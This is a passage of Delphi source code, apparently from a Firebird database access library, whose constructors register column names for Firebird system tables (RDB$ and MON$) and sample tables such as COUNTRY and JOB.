RegisterField(FFieldPrecision, 'RDB$FIELD_PRECISION');
end;
function TRdbFieldsTable.GetUnique: TRdbFieldsTable;
begin
Result := inherited InternalGetUnique as TRdbFieldsTable;
end;
{ TRdbIndexSegmentsTable }
constructor TRdbIndexSegmentsTable.Create;
begin
inherited;
inherited TableName := 'RDB$INDEX_SEGMENTS';
RegisterField(FIndexName, 'RDB$INDEX_NAME');
RegisterField(FFieldName, 'RDB$FIELD_NAME');
RegisterField(FFieldPosition, 'RDB$FIELD_POSITION');
RegisterField(FStatistics, 'RDB$STATISTICS');
end;
function TRdbIndexSegmentsTable.GetUnique: TRdbIndexSegmentsTable;
begin
Result := inherited InternalGetUnique as TRdbIndexSegmentsTable;
end;
{ TRdbIndicesTable }
constructor TRdbIndicesTable.Create;
begin
inherited;
inherited TableName := 'RDB$INDICES';
RegisterField(FIndexName, 'RDB$INDEX_NAME');
RegisterField(FRelationName, 'RDB$RELATION_NAME');
RegisterField(FIndexId, 'RDB$INDEX_ID');
RegisterField(FUniqueFlag, 'RDB$UNIQUE_FLAG');
RegisterField(FDescription, 'RDB$DESCRIPTION');
RegisterField(FSegmentCount, 'RDB$SEGMENT_COUNT');
RegisterField(FIndexInactive, 'RDB$INDEX_INACTIVE');
RegisterField(FIndexType, 'RDB$INDEX_TYPE');
RegisterField(FForeignKey, 'RDB$FOREIGN_KEY');
RegisterField(FSystemFlag, 'RDB$SYSTEM_FLAG');
RegisterField(FExpressionBlr, 'RDB$EXPRESSION_BLR');
RegisterField(FExpressionSource, 'RDB$EXPRESSION_SOURCE');
RegisterField(FStatistics, 'RDB$STATISTICS');
end;
function TRdbIndicesTable.GetUnique: TRdbIndicesTable;
begin
Result := inherited InternalGetUnique as TRdbIndicesTable;
end;
{ TRdbRelationFieldsTable }
constructor TRdbRelationFieldsTable.Create;
begin
inherited;
inherited TableName := 'RDB$RELATION_FIELDS';
RegisterField(FFieldName, 'RDB$FIELD_NAME');
RegisterField(FRelationName, 'RDB$RELATION_NAME');
RegisterField(FFieldSource, 'RDB$FIELD_SOURCE');
RegisterField(FQueryName, 'RDB$QUERY_NAME');
RegisterField(FBaseField, 'RDB$BASE_FIELD');
RegisterField(FEditString, 'RDB$EDIT_STRING');
RegisterField(FFieldPosition, 'RDB$FIELD_POSITION');
RegisterField(FQueryHeader, 'RDB$QUERY_HEADER');
RegisterField(FUpdateFlag, 'RDB$UPDATE_FLAG');
RegisterField(FFieldId, 'RDB$FIELD_ID');
RegisterField(FViewContext, 'RDB$VIEW_CONTEXT');
RegisterField(FDescription, 'RDB$DESCRIPTION');
RegisterField(FDefaultValue, 'RDB$DEFAULT_VALUE');
RegisterField(FSystemFlag, 'RDB$SYSTEM_FLAG');
RegisterField(FSecurityClass, 'RDB$SECURITY_CLASS');
RegisterField(FComplexName, 'RDB$COMPLEX_NAME');
RegisterField(FNullFlag, 'RDB$NULL_FLAG');
RegisterField(FDefaultSource, 'RDB$DEFAULT_SOURCE');
RegisterField(FCollationId, 'RDB$COLLATION_ID');
end;
function TRdbRelationFieldsTable.GetUnique: TRdbRelationFieldsTable;
begin
Result := inherited InternalGetUnique as TRdbRelationFieldsTable;
end;
{ TRdbRelationsTable }
constructor TRdbRelationsTable.Create;
begin
inherited;
inherited TableName := 'RDB$RELATIONS';
RegisterField(FViewBlr, 'RDB$VIEW_BLR');
RegisterField(FViewSource, 'RDB$VIEW_SOURCE');
RegisterField(FDescription, 'RDB$DESCRIPTION');
RegisterField(FRelationId, 'RDB$RELATION_ID');
RegisterField(FSystemFlag, 'RDB$SYSTEM_FLAG');
RegisterField(FDbkeyLength, 'RDB$DBKEY_LENGTH');
RegisterField(FFormat, 'RDB$FORMAT');
RegisterField(FFieldId, 'RDB$FIELD_ID');
RegisterField(FRelationName, 'RDB$RELATION_NAME');
RegisterField(FSecurityClass, 'RDB$SECURITY_CLASS');
RegisterField(FExternalFile, 'RDB$EXTERNAL_FILE');
RegisterField(FRuntime, 'RDB$RUNTIME');
RegisterField(FExternalDescription, 'RDB$EXTERNAL_DESCRIPTION');
RegisterField(FOwnerName, 'RDB$OWNER_NAME');
RegisterField(FDefaultClass, 'RDB$DEFAULT_CLASS');
RegisterField(FFlags, 'RDB$FLAGS');
RegisterField(FRelationType, 'RDB$RELATION_TYPE');
end;
function TRdbRelationsTable.GetUnique: TRdbRelationsTable;
begin
Result := inherited InternalGetUnique as TRdbRelationsTable;
end;
{ TRdbViewRelationsTable }
constructor TRdbViewRelationsTable.Create;
begin
inherited;
inherited TableName := 'RDB$VIEW_RELATIONS';
RegisterField(FViewName, 'RDB$VIEW_NAME');
RegisterField(FRelationName, 'RDB$RELATION_NAME');
RegisterField(FViewContext, 'RDB$VIEW_CONTEXT');
RegisterField(FContextName, 'RDB$CONTEXT_NAME');
end;
function TRdbViewRelationsTable.GetUnique: TRdbViewRelationsTable;
begin
Result := inherited InternalGetUnique as TRdbViewRelationsTable;
end;
{ TRdbFormatsTable }
constructor TRdbFormatsTable.Create;
begin
inherited;
inherited TableName := 'RDB$FORMATS';
RegisterField(FRelationId, 'RDB$RELATION_ID');
RegisterField(FFormat, 'RDB$FORMAT');
RegisterField(FDescriptor, 'RDB$DESCRIPTOR');
end;
function TRdbFormatsTable.GetUnique: TRdbFormatsTable;
begin
Result := inherited InternalGetUnique as TRdbFormatsTable;
end;
{ TRdbSecurityClassesTable }
constructor TRdbSecurityClassesTable.Create;
begin
inherited;
inherited TableName := 'RDB$SECURITY_CLASSES';
RegisterField(FSecurityClass, 'RDB$SECURITY_CLASS');
RegisterField(FAcl, 'RDB$ACL');
RegisterField(FDescription, 'RDB$DESCRIPTION');
end;
function TRdbSecurityClassesTable.GetUnique: TRdbSecurityClassesTable;
begin
Result := inherited InternalGetUnique as TRdbSecurityClassesTable;
end;
{ TRdbFilesTable }
constructor TRdbFilesTable.Create;
begin
inherited;
inherited TableName := 'RDB$FILES';
RegisterField(FFileName, 'RDB$FILE_NAME');
RegisterField(FFileSequence, 'RDB$FILE_SEQUENCE');
RegisterField(FFileStart, 'RDB$FILE_START');
RegisterField(FFileLength, 'RDB$FILE_LENGTH');
RegisterField(FFileFlags, 'RDB$FILE_FLAGS');
RegisterField(FShadowNumber, 'RDB$SHADOW_NUMBER');
end;
function TRdbFilesTable.GetUnique: TRdbFilesTable;
begin
Result := inherited InternalGetUnique as TRdbFilesTable;
end;
{ TRdbTypesTable }
constructor TRdbTypesTable.Create;
begin
inherited;
inherited TableName := 'RDB$TYPES';
RegisterField(FFieldName, 'RDB$FIELD_NAME');
RegisterField(FType_, 'RDB$TYPE');
RegisterField(FTypeName, 'RDB$TYPE_NAME');
RegisterField(FDescription, 'RDB$DESCRIPTION');
RegisterField(FSystemFlag, 'RDB$SYSTEM_FLAG');
end;
function TRdbTypesTable.GetUnique: TRdbTypesTable;
begin
Result := inherited InternalGetUnique as TRdbTypesTable;
end;
{ TRdbTriggersTable }
constructor TRdbTriggersTable.Create;
begin
inherited;
inherited TableName := 'RDB$TRIGGERS';
RegisterField(FTriggerName, 'RDB$TRIGGER_NAME');
RegisterField(FRelationName, 'RDB$RELATION_NAME');
RegisterField(FTriggerSequence, 'RDB$TRIGGER_SEQUENCE');
RegisterField(FTriggerType, 'RDB$TRIGGER_TYPE');
RegisterField(FTriggerSource, 'RDB$TRIGGER_SOURCE');
RegisterField(FTriggerBlr, 'RDB$TRIGGER_BLR');
RegisterField(FDescription, 'RDB$DESCRIPTION');
RegisterField(FTriggerInactive, 'RDB$TRIGGER_INACTIVE');
RegisterField(FSystemFlag, 'RDB$SYSTEM_FLAG');
RegisterField(FFlags, 'RDB$FLAGS');
RegisterField(FValidBlr, 'RDB$VALID_BLR');
RegisterField(FDebugInfo, 'RDB$DEBUG_INFO');
end;
function TRdbTriggersTable.GetUnique: TRdbTriggersTable;
begin
Result := inherited InternalGetUnique as TRdbTriggersTable;
end;
{ TRdbDependenciesTable }
constructor TRdbDependenciesTable.Create;
begin
inherited;
inherited TableName := 'RDB$DEPENDENCIES';
RegisterField(FDependentName, 'RDB$DEPENDENT_NAME');
RegisterField(FDependedOnName, 'RDB$DEPENDED_ON_NAME');
RegisterField(FFieldName, 'RDB$FIELD_NAME');
RegisterField(FDependentType, 'RDB$DEPENDENT_TYPE');
RegisterField(FDependedOnType, 'RDB$DEPENDED_ON_TYPE');
end;
function TRdbDependenciesTable.GetUnique: TRdbDependenciesTable;
begin
Result := inherited InternalGetUnique as TRdbDependenciesTable;
end;
{ TRdbFunctionsTable }
constructor TRdbFunctionsTable.Create;
begin
inherited;
inherited TableName := 'RDB$FUNCTIONS';
RegisterField(FFunctionName, 'RDB$FUNCTION_NAME');
RegisterField(FFunctionType, 'RDB$FUNCTION_TYPE');
RegisterField(FQueryName, 'RDB$QUERY_NAME');
RegisterField(FDescription, 'RDB$DESCRIPTION');
RegisterField(FModuleName, 'RDB$MODULE_NAME');
RegisterField(FEntrypoint, 'RDB$ENTRYPOINT');
RegisterField(FReturnArgument, 'RDB$RETURN_ARGUMENT');
RegisterField(FSystemFlag, 'RDB$SYSTEM_FLAG');
end;
function TRdbFunctionsTable.GetUnique: TRdbFunctionsTable;
begin
Result := inherited InternalGetUnique as TRdbFunctionsTable;
end;
{ TRdbFunctionArgumentsTable }
constructor TRdbFunctionArgumentsTable.Create;
begin
inherited;
inherited TableName := 'RDB$FUNCTION_ARGUMENTS';
RegisterField(FFunctionName, 'RDB$FUNCTION_NAME');
RegisterField(FArgumentPosition, 'RDB$ARGUMENT_POSITION');
RegisterField(FMechanism, 'RDB$MECHANISM');
RegisterField(FFieldType, 'RDB$FIELD_TYPE');
RegisterField(FFieldScale, 'RDB$FIELD_SCALE');
RegisterField(FFieldLength, 'RDB$FIELD_LENGTH');
RegisterField(FFieldSubType, 'RDB$FIELD_SUB_TYPE');
RegisterField(FCharacterSetId, 'RDB$CHARACTER_SET_ID');
RegisterField(FFieldPrecision, 'RDB$FIELD_PRECISION');
RegisterField(FCharacterLength, 'RDB$CHARACTER_LENGTH');
end;
function TRdbFunctionArgumentsTable.GetUnique: TRdbFunctionArgumentsTable;
begin
Result := inherited InternalGetUnique as TRdbFunctionArgumentsTable;
end;
{ TRdbFiltersTable }
constructor TRdbFiltersTable.Create;
begin
inherited;
inherited TableName := 'RDB$FILTERS';
RegisterField(FFunctionName, 'RDB$FUNCTION_NAME');
RegisterField(FDescription, 'RDB$DESCRIPTION');
RegisterField(FModuleName, 'RDB$MODULE_NAME');
RegisterField(FEntrypoint, 'RDB$ENTRYPOINT');
RegisterField(FInputSubType, 'RDB$INPUT_SUB_TYPE');
RegisterField(FOutputSubType, 'RDB$OUTPUT_SUB_TYPE');
RegisterField(FSystemFlag, 'RDB$SYSTEM_FLAG');
end;
function TRdbFiltersTable.GetUnique: TRdbFiltersTable;
begin
Result := inherited InternalGetUnique as TRdbFiltersTable;
end;
{ TRdbTriggerMessagesTable }
constructor TRdbTriggerMessagesTable.Create;
begin
inherited;
inherited TableName := 'RDB$TRIGGER_MESSAGES';
RegisterField(FTriggerName, 'RDB$TRIGGER_NAME');
RegisterField(FMessageNumber, 'RDB$MESSAGE_NUMBER');
RegisterField(FMessage, 'RDB$MESSAGE');
end;
function TRdbTriggerMessagesTable.GetUnique: TRdbTriggerMessagesTable;
begin
Result := inherited InternalGetUnique as TRdbTriggerMessagesTable;
end;
{ TRdbUserPrivilegesTable }
constructor TRdbUserPrivilegesTable.Create;
begin
inherited;
inherited TableName := 'RDB$USER_PRIVILEGES';
RegisterField(FUser, 'RDB$USER');
RegisterField(FGrantor, 'RDB$GRANTOR');
RegisterField(FPrivilege, 'RDB$PRIVILEGE');
RegisterField(FGrantOption, 'RDB$GRANT_OPTION');
RegisterField(FRelationName, 'RDB$RELATION_NAME');
RegisterField(FFieldName, 'RDB$FIELD_NAME');
RegisterField(FUserType, 'RDB$USER_TYPE');
RegisterField(FObjectType, 'RDB$OBJECT_TYPE');
end;
function TRdbUserPrivilegesTable.GetUnique: TRdbUserPrivilegesTable;
begin
Result := inherited InternalGetUnique as TRdbUserPrivilegesTable;
end;
{ TRdbTransactionsTable }
constructor TRdbTransactionsTable.Create;
begin
inherited;
inherited TableName := 'RDB$TRANSACTIONS';
RegisterField(FTransactionId, 'RDB$TRANSACTION_ID');
RegisterField(FTransactionState, 'RDB$TRANSACTION_STATE');
RegisterField(FTimestamp, 'RDB$TIMESTAMP');
RegisterField(FTransactionDescription, 'RDB$TRANSACTION_DESCRIPTION');
end;
function TRdbTransactionsTable.GetUnique: TRdbTransactionsTable;
begin
Result := inherited InternalGetUnique as TRdbTransactionsTable;
end;
{ TRdbGeneratorsTable }
constructor TRdbGeneratorsTable.Create;
begin
inherited;
inherited TableName := 'RDB$GENERATORS';
RegisterField(FGeneratorName, 'RDB$GENERATOR_NAME');
RegisterField(FGeneratorId, 'RDB$GENERATOR_ID');
RegisterField(FSystemFlag, 'RDB$SYSTEM_FLAG');
RegisterField(FDescription, 'RDB$DESCRIPTION');
end;
function TRdbGeneratorsTable.GetUnique: TRdbGeneratorsTable;
begin
Result := inherited InternalGetUnique as TRdbGeneratorsTable;
end;
{ TRdbFieldDimensionsTable }
constructor TRdbFieldDimensionsTable.Create;
begin
inherited;
inherited TableName := 'RDB$FIELD_DIMENSIONS';
RegisterField(FFieldName, 'RDB$FIELD_NAME');
RegisterField(FDimension, 'RDB$DIMENSION');
RegisterField(FLowerBound, 'RDB$LOWER_BOUND');
RegisterField(FUpperBound, 'RDB$UPPER_BOUND');
end;
function TRdbFieldDimensionsTable.GetUnique: TRdbFieldDimensionsTable;
begin
Result := inherited InternalGetUnique as TRdbFieldDimensionsTable;
end;
{ TRdbRelationConstraintsTable }
constructor TRdbRelationConstraintsTable.Create;
begin
inherited;
inherited TableName := 'RDB$RELATION_CONSTRAINTS';
RegisterField(FConstraintName, 'RDB$CONSTRAINT_NAME');
RegisterField(FConstraintType, 'RDB$CONSTRAINT_TYPE');
RegisterField(FRelationName, 'RDB$RELATION_NAME');
RegisterField(FDeferrable, 'RDB$DEFERRABLE');
RegisterField(FInitiallyDeferred, 'RDB$INITIALLY_DEFERRED');
RegisterField(FIndexName, 'RDB$INDEX_NAME');
end;
function TRdbRelationConstraintsTable.GetUnique: TRdbRelationConstraintsTable;
begin
Result := inherited InternalGetUnique as TRdbRelationConstraintsTable;
end;
{ TRdbRefConstraintsTable }
constructor TRdbRefConstraintsTable.Create;
begin
inherited;
inherited TableName := 'RDB$REF_CONSTRAINTS';
RegisterField(FConstraintName, 'RDB$CONSTRAINT_NAME');
RegisterField(FConstNameUq, 'RDB$CONST_NAME_UQ');
RegisterField(FMatchOption, 'RDB$MATCH_OPTION');
RegisterField(FUpdateRule, 'RDB$UPDATE_RULE');
RegisterField(FDeleteRule, 'RDB$DELETE_RULE');
end;
function TRdbRefConstraintsTable.GetUnique: TRdbRefConstraintsTable;
begin
Result := inherited InternalGetUnique as TRdbRefConstraintsTable;
end;
{ TRdbCheckConstraintsTable }
constructor TRdbCheckConstraintsTable.Create;
begin
inherited;
inherited TableName := 'RDB$CHECK_CONSTRAINTS';
RegisterField(FConstraintName, 'RDB$CONSTRAINT_NAME');
RegisterField(FTriggerName, 'RDB$TRIGGER_NAME');
end;
function TRdbCheckConstraintsTable.GetUnique: TRdbCheckConstraintsTable;
begin
Result := inherited InternalGetUnique as TRdbCheckConstraintsTable;
end;
{ TRdbLogFilesTable }
constructor TRdbLogFilesTable.Create;
begin
inherited;
inherited TableName := 'RDB$LOG_FILES';
RegisterField(FFileName, 'RDB$FILE_NAME');
RegisterField(FFileSequence, 'RDB$FILE_SEQUENCE');
RegisterField(FFileLength, 'RDB$FILE_LENGTH');
RegisterField(FFilePartitions, 'RDB$FILE_PARTITIONS');
RegisterField(FFilePOffset, 'RDB$FILE_P_OFFSET');
RegisterField(FFileFlags, 'RDB$FILE_FLAGS');
end;
function TRdbLogFilesTable.GetUnique: TRdbLogFilesTable;
begin
Result := inherited InternalGetUnique as TRdbLogFilesTable;
end;
{ TRdbProceduresTable }
constructor TRdbProceduresTable.Create;
begin
inherited;
inherited TableName := 'RDB$PROCEDURES';
RegisterField(FProcedureName, 'RDB$PROCEDURE_NAME');
RegisterField(FProcedureId, 'RDB$PROCEDURE_ID');
RegisterField(FProcedureInputs, 'RDB$PROCEDURE_INPUTS');
RegisterField(FProcedureOutputs, 'RDB$PROCEDURE_OUTPUTS');
RegisterField(FDescription, 'RDB$DESCRIPTION');
RegisterField(FProcedureSource, 'RDB$PROCEDURE_SOURCE');
RegisterField(FProcedureBlr, 'RDB$PROCEDURE_BLR');
RegisterField(FSecurityClass, 'RDB$SECURITY_CLASS');
RegisterField(FOwnerName, 'RDB$OWNER_NAME');
RegisterField(FRuntime, 'RDB$RUNTIME');
RegisterField(FSystemFlag, 'RDB$SYSTEM_FLAG');
RegisterField(FProcedureType, 'RDB$PROCEDURE_TYPE');
RegisterField(FValidBlr, 'RDB$VALID_BLR');
RegisterField(FDebugInfo, 'RDB$DEBUG_INFO');
end;
function TRdbProceduresTable.GetUnique: TRdbProceduresTable;
begin
Result := inherited InternalGetUnique as TRdbProceduresTable;
end;
{ TRdbProcedureParametersTable }
constructor TRdbProcedureParametersTable.Create;
begin
inherited;
inherited TableName := 'RDB$PROCEDURE_PARAMETERS';
RegisterField(FParameterName, 'RDB$PARAMETER_NAME');
RegisterField(FProcedureName, 'RDB$PROCEDURE_NAME');
RegisterField(FParameterNumber, 'RDB$PARAMETER_NUMBER');
RegisterField(FParameterType, 'RDB$PARAMETER_TYPE');
RegisterField(FFieldSource, 'RDB$FIELD_SOURCE');
RegisterField(FDescription, 'RDB$DESCRIPTION');
RegisterField(FSystemFlag, 'RDB$SYSTEM_FLAG');
RegisterField(FDefaultValue, 'RDB$DEFAULT_VALUE');
RegisterField(FDefaultSource, 'RDB$DEFAULT_SOURCE');
RegisterField(FCollationId, 'RDB$COLLATION_ID');
RegisterField(FNullFlag, 'RDB$NULL_FLAG');
RegisterField(FParameterMechanism, 'RDB$PARAMETER_MECHANISM');
RegisterField(FFieldName, 'RDB$FIELD_NAME');
RegisterField(FRelationName, 'RDB$RELATION_NAME');
end;
function TRdbProcedureParametersTable.GetUnique: TRdbProcedureParametersTable;
begin
Result := inherited InternalGetUnique as TRdbProcedureParametersTable;
end;
{ TRdbCharacterSetsTable }
constructor TRdbCharacterSetsTable.Create;
begin
inherited;
inherited TableName := 'RDB$CHARACTER_SETS';
RegisterField(FCharacterSetName, 'RDB$CHARACTER_SET_NAME');
RegisterField(FFormOfUse, 'RDB$FORM_OF_USE');
RegisterField(FNumberOfCharacters, 'RDB$NUMBER_OF_CHARACTERS');
RegisterField(FDefaultCollateName, 'RDB$DEFAULT_COLLATE_NAME');
RegisterField(FCharacterSetId, 'RDB$CHARACTER_SET_ID');
RegisterField(FSystemFlag, 'RDB$SYSTEM_FLAG');
RegisterField(FDescription, 'RDB$DESCRIPTION');
RegisterField(FFunctionName, 'RDB$FUNCTION_NAME');
RegisterField(FBytesPerCharacter, 'RDB$BYTES_PER_CHARACTER');
end;
function TRdbCharacterSetsTable.GetUnique: TRdbCharacterSetsTable;
begin
Result := inherited InternalGetUnique as TRdbCharacterSetsTable;
end;
{ TRdbCollationsTable }
constructor TRdbCollationsTable.Create;
begin
inherited;
inherited TableName := 'RDB$COLLATIONS';
RegisterField(FCollationName, 'RDB$COLLATION_NAME');
RegisterField(FCollationId, 'RDB$COLLATION_ID');
RegisterField(FCharacterSetId, 'RDB$CHARACTER_SET_ID');
RegisterField(FCollationAttributes, 'RDB$COLLATION_ATTRIBUTES');
RegisterField(FSystemFlag, 'RDB$SYSTEM_FLAG');
RegisterField(FDescription, 'RDB$DESCRIPTION');
RegisterField(FFunctionName, 'RDB$FUNCTION_NAME');
RegisterField(FBaseCollationName, 'RDB$BASE_COLLATION_NAME');
RegisterField(FSpecificAttributes, 'RDB$SPECIFIC_ATTRIBUTES');
end;
function TRdbCollationsTable.GetUnique: TRdbCollationsTable;
begin
Result := inherited InternalGetUnique as TRdbCollationsTable;
end;
{ TRdbExceptionsTable }
constructor TRdbExceptionsTable.Create;
begin
inherited;
inherited TableName := 'RDB$EXCEPTIONS';
RegisterField(FExceptionName, 'RDB$EXCEPTION_NAME');
RegisterField(FExceptionNumber, 'RDB$EXCEPTION_NUMBER');
RegisterField(FMessage, 'RDB$MESSAGE');
RegisterField(FDescription, 'RDB$DESCRIPTION');
RegisterField(FSystemFlag, 'RDB$SYSTEM_FLAG');
end;
function TRdbExceptionsTable.GetUnique: TRdbExceptionsTable;
begin
Result := inherited InternalGetUnique as TRdbExceptionsTable;
end;
{ TRdbRolesTable }
constructor TRdbRolesTable.Create;
begin
inherited;
inherited TableName := 'RDB$ROLES';
RegisterField(FRoleName, 'RDB$ROLE_NAME');
RegisterField(FOwnerName, 'RDB$OWNER_NAME');
RegisterField(FDescription, 'RDB$DESCRIPTION');
RegisterField(FSystemFlag, 'RDB$SYSTEM_FLAG');
end;
function TRdbRolesTable.GetUnique: TRdbRolesTable;
begin
Result := inherited InternalGetUnique as TRdbRolesTable;
end;
{ TRdbBackupHistoryTable }
constructor TRdbBackupHistoryTable.Create;
begin
inherited;
inherited TableName := 'RDB$BACKUP_HISTORY';
RegisterField(FBackupId, 'RDB$BACKUP_ID');
RegisterField(FTimestamp, 'RDB$TIMESTAMP');
RegisterField(FBackupLevel, 'RDB$BACKUP_LEVEL');
RegisterField(FGuid, 'RDB$GUID');
RegisterField(FScn, 'RDB$SCN');
RegisterField(FFileName, 'RDB$FILE_NAME');
end;
function TRdbBackupHistoryTable.GetUnique: TRdbBackupHistoryTable;
begin
Result := inherited InternalGetUnique as TRdbBackupHistoryTable;
end;
{ TMonDatabaseTable }
constructor TMonDatabaseTable.Create;
begin
inherited;
inherited TableName := 'MON$DATABASE';
RegisterField(FDatabaseName, 'MON$DATABASE_NAME');
RegisterField(FPageSize, 'MON$PAGE_SIZE');
RegisterField(FOdsMajor, 'MON$ODS_MAJOR');
RegisterField(FOdsMinor, 'MON$ODS_MINOR');
RegisterField(FOldestTransaction, 'MON$OLDEST_TRANSACTION');
RegisterField(FOldestActive, 'MON$OLDEST_ACTIVE');
RegisterField(FOldestSnapshot, 'MON$OLDEST_SNAPSHOT');
RegisterField(FNextTransaction, 'MON$NEXT_TRANSACTION');
RegisterField(FPageBuffers, 'MON$PAGE_BUFFERS');
RegisterField(FSqlDialect, 'MON$SQL_DIALECT');
RegisterField(FShutdownMode, 'MON$SHUTDOWN_MODE');
RegisterField(FSweepInterval, 'MON$SWEEP_INTERVAL');
RegisterField(FReadOnly, 'MON$READ_ONLY');
RegisterField(FForcedWrites, 'MON$FORCED_WRITES');
RegisterField(FReserveSpace, 'MON$RESERVE_SPACE');
RegisterField(FCreationDate, 'MON$CREATION_DATE');
RegisterField(FPages, 'MON$PAGES');
RegisterField(FStatId, 'MON$STAT_ID');
RegisterField(FBackupState, 'MON$BACKUP_STATE');
end;
function TMonDatabaseTable.GetUnique: TMonDatabaseTable;
begin
Result := inherited InternalGetUnique as TMonDatabaseTable;
end;
{ TMonAttachmentsTable }
constructor TMonAttachmentsTable.Create;
begin
inherited;
inherited TableName := 'MON$ATTACHMENTS';
RegisterField(FAttachmentId, 'MON$ATTACHMENT_ID');
RegisterField(FServerPid, 'MON$SERVER_PID');
RegisterField(FState, 'MON$STATE');
RegisterField(FAttachmentName, 'MON$ATTACHMENT_NAME');
RegisterField(FUser, 'MON$USER');
RegisterField(FRole, 'MON$ROLE');
RegisterField(FRemoteProtocol, 'MON$REMOTE_PROTOCOL');
RegisterField(FRemoteAddress, 'MON$REMOTE_ADDRESS');
RegisterField(FRemotePid, 'MON$REMOTE_PID');
RegisterField(FCharacterSetId, 'MON$CHARACTER_SET_ID');
RegisterField(FTimestamp, 'MON$TIMESTAMP');
RegisterField(FGarbageCollection, 'MON$GARBAGE_COLLECTION');
RegisterField(FRemoteProcess, 'MON$REMOTE_PROCESS');
RegisterField(FStatId, 'MON$STAT_ID');
end;
function TMonAttachmentsTable.GetUnique: TMonAttachmentsTable;
begin
Result := inherited InternalGetUnique as TMonAttachmentsTable;
end;
{ TMonTransactionsTable }
constructor TMonTransactionsTable.Create;
begin
inherited;
inherited TableName := 'MON$TRANSACTIONS';
RegisterField(FTransactionId, 'MON$TRANSACTION_ID');
RegisterField(FAttachmentId, 'MON$ATTACHMENT_ID');
RegisterField(FState, 'MON$STATE');
RegisterField(FTimestamp, 'MON$TIMESTAMP');
RegisterField(FTopTransaction, 'MON$TOP_TRANSACTION');
RegisterField(FOldestTransaction, 'MON$OLDEST_TRANSACTION');
RegisterField(FOldestActive, 'MON$OLDEST_ACTIVE');
RegisterField(FIsolationMode, 'MON$ISOLATION_MODE');
RegisterField(FLockTimeout, 'MON$LOCK_TIMEOUT');
RegisterField(FReadOnly, 'MON$READ_ONLY');
RegisterField(FAutoCommit, 'MON$AUTO_COMMIT');
RegisterField(FAutoUndo, 'MON$AUTO_UNDO');
RegisterField(FStatId, 'MON$STAT_ID');
end;
function TMonTransactionsTable.GetUnique: TMonTransactionsTable;
begin
Result := inherited InternalGetUnique as TMonTransactionsTable;
end;
{ TMonStatementsTable }
constructor TMonStatementsTable.Create;
begin
inherited;
inherited TableName := 'MON$STATEMENTS';
RegisterField(FStatementId, 'MON$STATEMENT_ID');
RegisterField(FAttachmentId, 'MON$ATTACHMENT_ID');
RegisterField(FTransactionId, 'MON$TRANSACTION_ID');
RegisterField(FState, 'MON$STATE');
RegisterField(FTimestamp, 'MON$TIMESTAMP');
RegisterField(FSqlText, 'MON$SQL_TEXT');
RegisterField(FStatId, 'MON$STAT_ID');
end;
function TMonStatementsTable.GetUnique: TMonStatementsTable;
begin
Result := inherited InternalGetUnique as TMonStatementsTable;
end;
{ TMonCallStackTable }
constructor TMonCallStackTable.Create;
begin
inherited;
inherited TableName := 'MON$CALL_STACK';
RegisterField(FCallId, 'MON$CALL_ID');
RegisterField(FStatementId, 'MON$STATEMENT_ID');
RegisterField(FCallerId, 'MON$CALLER_ID');
RegisterField(FObjectName, 'MON$OBJECT_NAME');
RegisterField(FObjectType, 'MON$OBJECT_TYPE');
RegisterField(FTimestamp, 'MON$TIMESTAMP');
RegisterField(FSourceLine, 'MON$SOURCE_LINE');
RegisterField(FSourceColumn, 'MON$SOURCE_COLUMN');
RegisterField(FStatId, 'MON$STAT_ID');
end;
function TMonCallStackTable.GetUnique: TMonCallStackTable;
begin
Result := inherited InternalGetUnique as TMonCallStackTable;
end;
{ TMonIoStatsTable }
constructor TMonIoStatsTable.Create;
begin
inherited;
inherited TableName := 'MON$IO_STATS';
RegisterField(FStatId, 'MON$STAT_ID');
RegisterField(FStatGroup, 'MON$STAT_GROUP');
RegisterField(FPageReads, 'MON$PAGE_READS');
RegisterField(FPageWrites, 'MON$PAGE_WRITES');
RegisterField(FPageFetches, 'MON$PAGE_FETCHES');
RegisterField(FPageMarks, 'MON$PAGE_MARKS');
end;
function TMonIoStatsTable.GetUnique: TMonIoStatsTable;
begin
Result := inherited InternalGetUnique as TMonIoStatsTable;
end;
{ TMonRecordStatsTable }
constructor TMonRecordStatsTable.Create;
begin
inherited;
inherited TableName := 'MON$RECORD_STATS';
RegisterField(FStatId, 'MON$STAT_ID');
RegisterField(FStatGroup, 'MON$STAT_GROUP');
RegisterField(FRecordSeqReads, 'MON$RECORD_SEQ_READS');
RegisterField(FRecordIdxReads, 'MON$RECORD_IDX_READS');
RegisterField(FRecordInserts, 'MON$RECORD_INSERTS');
RegisterField(FRecordUpdates, 'MON$RECORD_UPDATES');
RegisterField(FRecordDeletes, 'MON$RECORD_DELETES');
RegisterField(FRecordBackouts, 'MON$RECORD_BACKOUTS');
RegisterField(FRecordPurges, 'MON$RECORD_PURGES');
RegisterField(FRecordExpunges, 'MON$RECORD_EXPUNGES');
end;
function TMonRecordStatsTable.GetUnique: TMonRecordStatsTable;
begin
Result := inherited InternalGetUnique as TMonRecordStatsTable;
end;
{ TMonContextVariablesTable }
constructor TMonContextVariablesTable.Create;
begin
inherited;
inherited TableName := 'MON$CONTEXT_VARIABLES';
RegisterField(FAttachmentId, 'MON$ATTACHMENT_ID');
RegisterField(FTransactionId, 'MON$TRANSACTION_ID');
RegisterField(FVariableName, 'MON$VARIABLE_NAME');
RegisterField(FVariableValue, 'MON$VARIABLE_VALUE');
end;
function TMonContextVariablesTable.GetUnique: TMonContextVariablesTable;
begin
Result := inherited InternalGetUnique as TMonContextVariablesTable;
end;
{ TMonMemoryUsageTable }
constructor TMonMemoryUsageTable.Create;
begin
inherited;
inherited TableName := 'MON$MEMORY_USAGE';
RegisterField(FStatId, 'MON$STAT_ID');
RegisterField(FStatGroup, 'MON$STAT_GROUP');
RegisterField(FMemoryUsed, 'MON$MEMORY_USED');
RegisterField(FMemoryAllocated, 'MON$MEMORY_ALLOCATED');
RegisterField(FMaxMemoryUsed, 'MON$MAX_MEMORY_USED');
RegisterField(FMaxMemoryAllocated, 'MON$MAX_MEMORY_ALLOCATED');
end;
function TMonMemoryUsageTable.GetUnique: TMonMemoryUsageTable;
begin
Result := inherited InternalGetUnique as TMonMemoryUsageTable;
end;
{ TCountryTable }
constructor TCountryTable.Create;
begin
inherited;
inherited TableName := 'COUNTRY';
RegisterField(FCountry, 'COUNTRY').InPrimaryKey := True;
RegisterField(FCurrency, 'CURRENCY');
end;
function TCountryTable.GetUnique: TCountryTable;
begin
Result := inherited InternalGetUnique as TCountryTable;
end;
{ TJobTable }
constructor TJobTable.Create;
begin
inherited;
inherited TableName := 'JOB';
RegisterField(FJobCode, 'JOB_CODE').InPrimaryKey := True;
RegisterField(FJobGrade, 'JOB_GRADE').InPrimaryKey := True;
